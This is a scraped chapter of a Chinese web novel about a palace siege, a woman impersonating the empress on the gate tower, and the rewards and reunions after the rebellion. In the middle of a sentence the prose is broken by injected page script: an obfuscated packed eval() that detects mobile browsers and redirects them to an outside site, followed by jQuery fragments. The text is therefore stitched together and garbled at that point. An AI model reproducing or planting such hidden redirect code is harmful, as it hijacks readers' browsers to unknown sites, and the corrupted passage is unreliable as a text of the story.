85. 春秋代序(四)

作品:《请不要再进啦

    缉狱司兵力一至,守城压力顿时为之一轻,王举望向门楼下的薛向,遥遥冲他抱拳,命以悬索降兵出宫门。


    知王举素来对自个儿有些成见,薛向迟疑片刻,才抬手还礼,随即率班直杀入。


    蕴真那满脸燎泡的可怖模样在脑海中挥之不去,薛向满腹杀气,杀红了眼,奋勇杀至战阵最中间,一刀一颗头颅,血糊了满脸。


    增援一至,战阵力量扭转,永遇门前杀得正酣,一旁明德殿的微弱灯火都被衬得宛若幽幽鬼火。


    章容在明光殿坐镇,司檀和周缨陪在身侧,永遇门外的火拼陷入胶着,声声杀喊之声震得人心头狂跳。


    章容面色尚算平静,耐心地等着战报,正当此时,禁军前来急报:“雍王还有援军,贞度门兵力更甚,恐是声东击西之策。”


    章容抚着桌案站起身来,冷静询问:“贞度门兵力能抵挡多久?”


    “至多两刻。”


    算脚程,京营大军恐是难以赶至,章容道:“司檀,往贞度门吧。”


    “娘娘。”司檀和周缨同跪下去。


    司檀已泣不成声,章容含笑道:“陛下信我能顶过这一劫,为殿下铺平通途,我必不能叫他失望。”


    “娘娘不可。”周缨含泪相劝,“殿下年纪尚幼,军国大事还需娘娘临朝,望娘娘以江山社稷为重。贞度门既能守上两刻,那只要再拖两刻,让叛军找不到娘娘与殿下,京营禁军便能赶至,便能胜。”


    “我若亲临,士气可振。”章容道。


    “臣愿代娘娘前去,请娘娘容臣僭越,望娘娘务必保全自己,否则即便今夜安然度过,朝中亦必然生乱。”周缨以头抢地,苦苦哀求。


    司檀亦附和道:“娘娘便听一次劝吧,我随周司记一并前去,娘娘速速转移,找个地方藏身,静待京营禁军至。”


    “娘娘,大局为重。”周缨再劝。


    章容闭目,缓缓取下今日赐宴才戴上的凤冠,褪下翟衣,周缨起身换上,正欲往外,章容忽道:“你若有事,我无颜面见崔相,你务必珍重。”


    “为大局计,他不会因此与娘娘生隙。”周缨快步登上凤辇。


    登贞度门楼,凤冠珠帘垂坠,守将不敢直视凤颜,司檀随侍,无人敢疑。


    周缨模仿章容素日语气,扬声道:“陛下抱恙,卧床养病,逆贼趁此夜闯宫城,罪大当诛。诸位将士听令,一律杀无赦,以人头计军功,一颗叛党人头换赏金一锭,十颗晋一级。”


    中宫亲临,士气大振,叛军攻势被暂且压去三成,不多时,到底势力悬殊,又复燃起来。


    弩箭自周身疾掠而过,将领请周缨入门楼,周缨环视门楼之下的战况,昂首走向门楼上悬着的战鼓。


    鼓槌落,战鼓鸣,将士嘶喊声再起。


    翟衣鲜艳,在夜里显眼至极,叛军弩箭纷纷而至,有些被格挡开去,有些落在身侧,有些也免不了正中身上。


    战阵胶着近三刻,终于被叛军突破,宫门破开,叛军派出一队格挡门楼上的残兵败将,剩余人马直冲禁中。


    叛军人马直杀明光殿,因未找到齐应,又分头搜罗起各大宫殿。


    灯烛尽歇,整个内廷笼罩在漆黑一片中,只听得叛军四下破门翻箱倒柜的声音。


    头顶的咚咚之声似正中心脏,令众人屏息凝神,大气不敢出。


    齐延虽年幼,却也未被此等情形慑住。


    搜罗半刻,并未发现脚下的密室,叛军返身离开肃文殿。


    众人方松了口气,下一刻却闻到了泼天的桐油味,登时心下一凛。


    叛军落锁泼油点火,一气呵成,所过之处,搜一处烧一处。


    浓烟滚滚,密室内顷刻便被浓烟萦满,众人捂住口鼻,面色痛苦。


    汪浅站起身来,被祝淮一把拉住。


    “松手,不找出路,都得死在这里。”汪浅扯了两下衣袖,却被她死命拽着,纹丝不动,语气里便含了怒。


    “万一叛军就守在门外呢?”


    “不可能,内廷地广,叛军亦没有上万之数,必然还在分散搜寻圣上和殿下。”


    衣袖上的力道一松,汪浅喝她:“护好殿下,我先出去探探。”


    祝淮点头应下,生生以手将下裳扯烂一块,捂住齐延口鼻。


    密室门一开,火势已扑上了椽子,汪浅勉强辨出方位,往殿门潜去,确认殿外没有叛军之后,回到密室门口,往里喊道:“快出来,火势太大,再不出去,都得被困死在这里。”


    吸入了太多浓烟,祝淮带着齐延行动缓慢地爬上地面,见汪浅正寻到一根掉落的梁柱,脱掉外衣将火势扑灭,将外裳缠至其上,便要去抱那滚烫的梁柱。


    祝淮将齐延交给温瑜并手下的两名女官护着,招呼其余人手一并上前,众人学着汪浅的模样,将外裳脱下裹住梁柱,而后合力抱起,撞击紧锁的大门。


    梁柱笨重,歇了三次,大门终于被撞开,梁柱扔下,汪浅当即命堵住门口的女史内侍们先逃,又将祝淮推往门外:“先走,我去接殿下。”


    祝淮被推得一踉跄,待站稳身子回头,便见着椽顶轰然坠下。


    汪浅猛然将齐延推往门外,祝淮下意识伸手接住。


    “轰隆”一声,椽顶倾倒,一门之隔的人失去踪迹,只露出一截黝黑的手腕。


    祝淮痛哭出声:“姐姐。”


    但情况紧急,并无留给她悲伤的时间,她牵过齐延的手,招呼其余人跟上,寻到僻静角落藏身。


    冬雪簌簌洒落,宫城渐渐落满一地白。


    叛军并未找到齐应和齐延,控制不住局势。


    京营禁军分队至永遇门、贞度门杀入,迅疾诛杀叛军余党,天将明时,宫城内雪积寸余,雍王被擒,局势渐明。


    崔述快马自贞度门入,竟一路打马至明光殿外,疾奔入内,跪地请罪:“臣昨夜至京郊,未及入城,夜半闻讯方往回赶,故而来迟,请娘娘与殿下降罪。”


    章容淡叹一声:“圣上走前,甚是挂念你。除遗诏外,另留三诏,皆与你有涉,为你筹谋良多。”


    崔述尚不知齐应旨意,沉默须臾,道:“圣上厚爱。”


    章容也未与他细说,转而问道:“崔相认为雍王当如何处置?”


    “当枭首,但非现在,待审出牵连宗室,再一并处置。”


    “涉众太多。雍王没有能力豢养出这般规模的私兵,竟是宗室分散培养,聚而起事,一家不超过三十人,与侍从无异,如此隐秘,如何能防?难怪一星半点风声都未泄露。”章容稍显迟疑,“全都杀了?”


    “此罪无赦,当诛。”崔述道,“殿下尚小,臣来主持此事。残害宗亲之名,臣来担。”


    章容点头,又道:“周司记受了伤,暂且安置在东梢间。”


    崔述猛然起身。


    “太医看过了,无性命之忧,你莫心急,先去瞧瞧。”


    崔述快步前往东梢间。


    室内药香氤氲,周缨躺在床上,眉目紧锁,嘴唇苍白得无半分血色。


    小心翼翼掀开锦被一角,崔述便挪开了眼。


    看包扎的手法并患处大小,能辨出是两处箭伤,并一处刀伤,都伤得极深,包扎布料已被血浸透。


    他半跪在榻前,握住她的手,将额抵在她手边,闭眼待了半盏茶功夫,将她的手放回榻上,掖好被子,返身回到明间。


    “宰执们何时到?”崔述问章容。


    “已派禁军传令,应当快到了。”


    “传讯百官,含元殿大朝。”


    宰执至,联署用印,含元殿上宣齐应遗诏,齐延即位,章容临朝称制。


    天方明,一夜混战已终结,局势完全控制,冬雪漫漫,吉兆昌瑞。


    崔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321597|183129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    述启缉狱司速审宗室叛乱案,牵连者包括大长公主等上百宗亲,涉案者多于狱中暴毙,短短半月,雍王被处枭首之刑,从者皆弃市,一场轰轰烈烈的屠杀落幕。


    顺和元年的第一场雪落下时,周缨伤已好得差不离,可以下地慢慢行走。


    论功行赏下来,无论内廷外朝,当夜有功者皆有封赏。


    外朝里,禁军按军功擢赏抚恤,薛向亦加光禄大夫衔,赐金千两,崔蕴真晋封为淑人。张津追赠忠武校尉,厚金抚恤。


    内廷里,汪浅被追赠国夫人,祝淮拒封赏,请旨出宫,沈思宁被封宜人,亦请旨离宫治丧。周缨被封齐国夫人。其余诸人亦皆有封赏。


    待能下地,周缨先去探访过祝淮和沈思宁,为亡者添香祭拜,而后去探望蕴真。


    蕴真脸上的伤已结了疤,正慢慢好转。她到时,蕴真正与薛向围炉坐在檐下赏雪。


    见她至,蕴真才挣开紧握着她的那只手,站起身笑着同她打招呼。


    最后自含嘉门入宫,亲自去面见章容谢恩。


    诸事稍定,章容稍有闲心,正伏在案前,执笔亲自为齐应作祭文。


    抬眼看来时,眼角红得厉害。


    “往常怕内外交结,多有顾虑,经此一事,你既为国为朝连命都能舍,担心岂非多余?”


    章容笑中愈添几分威严:“如此嘉勇,当重用之。如今我初临朝,政事繁冗,待你伤愈,来我跟前,掌制诰吧。”


    周缨叩首谢恩。


    迎着纷纷扬扬的春雪回到家中,崔述已先她一步到家,见她进来,忙引她至暖阁内,替她解下氅衣,换上新手炉,方道:“谢恩也不急这一时,太后也不会怪罪。”


    周缨捂着手炉,看着他笑。


    “怎么?”


    周缨垂目,嘴角却还挂着笑,慢慢将想了一路的心事与他说来:“你那时问我,天地之大,我要凭何安身,凭何立命,凭何圆志。这六年里,我没有一日,不在思考这个问题。”


    周缨在罗汉榻上落座,垂目看着怀中的手炉,一时没有继续说。


    崔述微微蹙眉,等着她的下文。


    “一路行来,很多人都给过我关于这个问题的指引,你、蕴真、奉和、束关、祝尚仪、汪尚服、太后……许许多多,都是我之师。


    “听多思多,想法也一直在变。


    “一开始我想要一个尊崇的身份地位,不想任人践踏,想有尊严地活着。


    “后来,虽然也还想要这东西,但是没有那般强烈了。


    “再到后来,才慢慢明白,原来是因为我已有了更想要的东西。”


    她极轻地一叹:“不像你,少时便志定道坚,我花了很多年,才终于找到了我之所求。”


    崔述没有深问,只同她一笑:“找到了便好。”


    “我想吃碗汤饼,劳崔相亲自下厨,煮一碗予我解解馋吧。”周缨单手撑颐,歪着头冲他笑。


    玄冬猛寒,汤饼最宜充虚解战。


    当日翠竹山中,她头一回尝到他的厨艺,便是深山雪重时,一碗热气腾腾的汤饼。


    “好。”崔述笑着起身,去了厨房。


    周缨起身,慢吞吞地拖着伤腿走向花樽旁的卷轴,奉和前些时日方遣人自雪蕉庐搬过来,还不曾得空整理过。


    探手取出一卷,是他绘的消寒图,连阅几卷,每一年的消寒图,他绘的都是梅花。


    后来又见有一卷是她当日随手所涂的那幅秋柿图,已被精心装裱过,其上还多添了一个他想象中的幼时的她。


    最后一卷,仍是一卷消寒图,看落款是昭宁二年冬日所制。


    九九八十一朵梅花,被他在一个漫长的冬日里,在孤寂的雪蕉庐中,一朵又一朵涂满。


    空白之处,落笔珍重,笔笔见意。


    “十年孤馆身似客,一生心事寄寒英。”